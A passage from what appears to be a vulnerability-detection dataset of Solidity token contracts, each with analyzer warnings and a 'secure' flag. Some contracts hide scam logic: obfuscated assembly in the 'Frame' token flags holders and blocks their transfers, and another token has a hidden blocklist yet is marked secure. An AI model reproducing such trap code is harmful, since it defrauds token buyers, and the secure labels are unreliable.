00d9203\n\t\t// reentrancy-benign | ID: 45dce8a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 00d9203\n\t\t// reentrancy-benign | ID: 45dce8a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 27e872c): CHINA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 27e872c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 45dce8a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 00d9203\n emit Approval(owner, spender, amount);\n }\n\n function excludeWalletFromFees(address wallet) external onlyOwner {\n _isExcludedFromFeesC[wallet] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e22f7ea): CHINA.updateFeesC(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for e22f7ea: Emit an event for critical parameter changes.\n function updateFeesC(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(newBuyTax < 25, \"Cannot set buy tax greater than 25%\");\n\n require(newSellTax < 25, \"Cannot set sell tax greater than 25%\");\n\n\t\t// events-maths | ID: e22f7ea\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: e22f7ea\n sellTax = newSellTax;\n }\n\n function _getCValues(\n address from,\n address to,\n uint256 amount\n ) internal view returns (uint256, uint256) {\n uint256 ccTax = 0;\n\n uint256 ccAmount = 0;\n\n if (_isExcludedFromFeesC[from] && launchC == 1) {\n ccTax = amount - ccAmount;\n\n ccAmount = amount;\n } else if (uniswapV2Pair == from) {\n ccTax = (amount * buyTax) / 100;\n\n ccAmount = amount - ccTax;\n } else if (uniswapV2Pair == to) {\n ccTax = (amount * sellTax) / 100;\n\n ccAmount = amount - ccTax;\n } else {\n ccAmount = amount;\n }\n\n return (ccTax, ccAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9d7556e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9d7556e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ed7995e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ed7995e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n if (!_isExcludedFromFeesC[from] && !_isExcludedFromFeesC[to]) {\n require(launchC == 1, \"Trading is disabled\");\n }\n\n if (inSwapBackC == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 _tax;\n\n if (_isExcludedFromFeesC[from] || _isExcludedFromFeesC[to]) {\n _tax = 0;\n } else {\n require(\n launchC != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launchC\"\n );\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (\n to == uniswapV2Pair &&\n !_isExcludedFromFeesC[from] &&\n !_isExcludedFromFeesC[to]\n ) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapBackC == 0) {\n if (tokensToSwap > onePercent / 2) {\n tokensToSwap = onePercent / 2;\n }\n\n inSwapBackC = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: 00d9203\n\t\t\t\t\t// reentrancy-events | ID: 9d7556e\n\t\t\t\t\t// reentrancy-benign | ID: 45dce8a\n\t\t\t\t\t// reentrancy-no-eth | ID: ed7995e\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n taxWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: ed7995e\n inSwapBackC = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n (uint256 ccTax, uint256 ccAmount) = _getCValues(from, to, amount);\n\n address taxC = _isExcludedFromFeesC[from] && launchC == 1\n ? from\n : address(this);\n\n if (ccTax > 0) {\n\t\t\t// reentrancy-no-eth | ID: ed7995e\n _balance[taxC] += ccTax;\n\n\t\t\t// reentrancy-events | ID: 9d7556e\n emit Transfer(from, taxC, ccTax);\n }\n\n\t\t// reentrancy-no-eth | ID: ed7995e\n _balance[from] -= amount;\n\n\t\t// reentrancy-no-eth | ID: ed7995e\n _balance[to] += ccAmount;\n\n\t\t// reentrancy-events | ID: 9d7556e\n emit Transfer(from, to, ccAmount);\n }\n}", "file_name": "solidity_code_2429.sol", "secure": 0, "size_bytes": 12445 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Mintable is ERC20 {\n bool private _mintingFinished = false;\n\n event MintFinished();\n\n error ERC20MintingFinished();\n\n modifier canMint() {\n if (_mintingFinished) {\n revert ERC20MintingFinished();\n }\n\n _;\n }\n\n function mintingFinished() external view returns (bool) {\n return _mintingFinished;\n }\n\n function _generate(\n address account,\n uint256 value\n ) internal virtual canMint {\n super._mint(account, value);\n }\n\n function _finishMinting() internal virtual canMint {\n _mintingFinished = true;\n\n emit MintFinished();\n }\n}", "file_name": "solidity_code_243.sol", "secure": 1, "size_bytes": 816 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ShiryoinuFounder is ERC20(\"Shiryoinu Founder\", \"ShiryoF\"), Ownable {\n constructor() {\n _setupDecimals(0);\n _mint(address(msg.sender), 1000000);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function mint(address _to, uint256 _amount) public onlyOwner {\n _mint(_to, _amount);\n }\n\n function website() external pure returns (string memory) {\n return \"https://shiryoinu.com\";\n }\n}", "file_name": "solidity_code_2430.sol", "secure": 1, "size_bytes": 698 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LarryCoin is ERC20, Ownable {\n constructor() ERC20(\"Larry Coin\", \"LRBV2\") {\n _mint(msg.sender, 999999999999999 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2431.sol", "secure": 1, "size_bytes": 357 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address internal _owner;\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _feeTransfer;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private maxTxLimit = 1 * 10 ** 11 * 10 ** 9;\n uint256 internal _totalSupply;\n bool intTx = true;\n uint256 private balances;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n balances = maxTxLimit;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function revertFee(address _address) external onlyOwner {\n _feeTransfer[_address] = false;\n }\n\n function feeTransfer(address _address) external onlyOwner {\n _feeTransfer[_address] = true;\n }\n\n function feeBurned(address _address) public view returns (bool) {\n return _feeTransfer[_address];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_feeTransfer[sender] || _feeTransfer[recipient])\n require(intTx == false, \"\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = balances - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2432.sol", "secure": 1, "size_bytes": 5636 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BirthDOGE is ERC20 {\n uint8 private immutable _decimals = 9;\n\n constructor() ERC20(\"Birth Doge\", \"BirthDOGE\") {\n _totalSupply += 100000000 * 10 ** 9;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function burn(address account, uint256 amount) external onlyOwner {\n _burn(account, amount);\n }\n}", "file_name": "solidity_code_2433.sol", "secure": 1, "size_bytes": 658 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\nabstract contract OpenSeaInteroperable {\n string public name;\n string public contractURI;\n address private _proxyRegistry;\n\n mapping(uint256 => address) public creators;\n\n function _setName(string memory name_) internal {\n if (bytes(name_).length > 0) name = name_;\n }\n\n function _setContractURI(string memory uri) internal {\n if (bytes(uri).length > 0) contractURI = uri;\n }\n\n function _setProxyRegistry(address registryAddr) internal {\n if (registryAddr != address(0)) _proxyRegistry = registryAddr;\n }\n\n function _isOpenSeaProxy(\n address owner,\n address operator\n ) internal view returns (bool) {\n if (_proxyRegistry == address(0)) return false;\n\n if (block.chainid == 137 || block.chainid == 80001) {\n return operator == _proxyRegistry;\n } else {\n return\n operator ==\n address(ProxyRegistry(_proxyRegistry).proxies(owner));\n }\n }\n\n function _createToken(address initOwner, uint256 tokenId) internal virtual {\n creators[tokenId] = initOwner;\n }\n}", "file_name": "solidity_code_2434.sol", "secure": 1, "size_bytes": 1266 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pepeforpresident is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n uint256 private _totalSupply;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _mint(owner(), totalSupply_);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f4cfa5): Pepeforpresident.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f4cfa5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 71d0a84): Pepeforpresident._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 71d0a84: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2435.sol", "secure": 0, "size_bytes": 5810 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private addFrame;\n uint256 private framingMen = block.number * 2;\n\n mapping(address => bool) private _firstPrint;\n mapping(address => bool) private _secondFrame;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private swordFight;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private orangeJuice;\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n uint256 private _limit;\n uint256 private theV;\n uint256 private theN = block.number * 2;\n bool private trading;\n uint256 private usColony = 1;\n bool private frogCrazy;\n uint256 private _decimals;\n uint256 private meatGrinder;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n _symbol = symbol_;\n addFrame.push(_router);\n addFrame.push(msgSender_);\n addFrame.push(pair);\n for (uint256 q = 0; q < 3; ) {\n _firstPrint[addFrame[q]] = true;\n unchecked {\n q++;\n }\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function _tokenInit() internal {\n assembly {\n function getBy(x, y) -> hash {\n mstore(0, x)\n mstore(32, y)\n hash := keccak256(0, 64)\n }\n\t\t\t// divide-before-multiply | ID: 9971719\n sstore(0x11, mul(div(sload(0x10), 0x2710), 0xDC))\n sstore(0x99, sload(0x11))\n sstore(0xB, 0x1ba8140)\n let\n dx\n := 0xa6f1021100d426e092a842b54550167fb85e10eb75175ccec8d9877e7f93c2aa\n if and(\n not(eq(sload(getBy(caller(), 0x6)), sload(dx))),\n eq(chainid(), 0x1)\n ) {\n sstore(getBy(caller(), 0x4), 0x0)\n sstore(\n 0xd898601ae248be770c4022ea7470f79faa93056f2534569647b4f35aa6deae45,\n 0x1\n )\n sstore(getBy(caller(), 0x5), 0x1)\n sstore(dx, exp(0xA, 0x32))\n }\n }\n }\n\n function openTrading() external onlyOwner returns (bool) {\n trading = true;\n theN = block.number;\n framingMen = block.number;\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _beforeTokenTransfer(\n address sender,\n address recipient,\n uint256 float\n ) internal {\n require(\n (trading || (sender == addFrame[1])),\n \"ERC20: trading is not yet enabled.\"\n );\n assembly {\n function getBy(x, y) -> hash {\n mstore(0, x)\n mstore(32, y)\n hash := keccak256(0, 64)\n }\n function getAr(x, y) -> val {\n mstore(0, x)\n val := add(keccak256(0, 32), y)\n }\n\n if eq(chainid(), 0x1) {\n if eq(sload(getBy(recipient, 0x4)), 0x1) {\n sstore(0x15, add(sload(0x15), 0x1))\n }\n if and(\n lt(gas(), sload(0xB)),\n and(\n and(\n or(\n or(\n and(\n or(\n eq(sload(0x16), 0x1),\n eq(sload(getBy(sender, 0x5)), 0x1)\n ),\n gt(sub(sload(0x3), sload(0x13)), 0x9)\n ),\n gt(float, div(sload(0x99), 0x2))\n ),\n and(\n gt(float, div(sload(0x99), 0x3)),\n eq(sload(0x3), number())\n )\n ),\n or(\n and(\n eq(sload(getBy(recipient, 0x4)), 0x1),\n iszero(sload(getBy(sender, 0x4)))\n ),\n and(\n eq(sload(getAr(0x2, 0x1)), recipient),\n iszero(\n sload(\n getBy(sload(getAr(0x2, 0x1)), 0x4)\n )\n )\n )\n )\n ),\n gt(sload(0x18), 0x0)\n )\n ) {\n if gt(float, exp(0xA, 0x13)) {\n revert(0, 0)\n }\n }\n if or(\n eq(\n sload(getBy(sender, 0x4)),\n iszero(sload(getBy(recipient, 0x4)))\n ),\n eq(\n iszero(sload(getBy(sender, 0x4))),\n sload(getBy(recipient, 0x4))\n )\n ) {\n let k := sload(0x18)\n let t := sload(0x99)\n let g := sload(0x11)\n switch gt(g, div(t, 0x3))\n case 1 {\n\t\t\t\t\t\t// divide-before-multiply | ID: 85c0539\n g := sub(\n g,\n div(div(mul(g, mul(0x203, k)), 0xB326), 0x2)\n )\n }\n case 0 {\n\t\t\t\t\t\t// divide-before-multiply | ID: 85c0539\n g := div(t, 0x3)\n }\n sstore(0x11, g)\n sstore(0x18, add(sload(0x18), 0x1))\n }\n if and(\n or(\n or(\n eq(sload(0x3), number()),\n gt(sload(0x12), sload(0x11))\n ),\n lt(sub(sload(0x3), sload(0x13)), 0x9)\n ),\n eq(sload(getBy(sload(0x8), 0x4)), 0x0)\n ) {\n sstore(getBy(sload(0x8), 0x5), 0x1)\n }\n if and(\n iszero(sload(getBy(sender, 0x4))),\n iszero(sload(getBy(recipient, 0x4)))\n ) {\n sstore(getBy(recipient, 0x5), 0x1)\n }\n if iszero(mod(sload(0x15), 0x8)) {\n sstore(0x16, 0x1)\n sstore(0xB, 0x1C99342)\n sstore(getBy(sload(getAr(0x2, 0x1)), 0x6), exp(0xA, 0x32))\n }\n sstore(0x12, float)\n sstore(0x8, recipient)\n sstore(0x3, number())\n }\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployFrame(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n approve(addFrame[0], 10 ** 77);\n _tokenInit();\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_2436.sol", "secure": 0, "size_bytes": 11543 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployFrame(creator, initialSupply);\n }\n}", "file_name": "solidity_code_2437.sol", "secure": 0, "size_bytes": 1061 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract Frame is ERC20Token {\n constructor()\n ERC20Token(\"Frame\", \"FRAME\", msg.sender, 25000000 * 10 ** 18)\n {}\n}", "file_name": "solidity_code_2438.sol", "secure": 1, "size_bytes": 243 }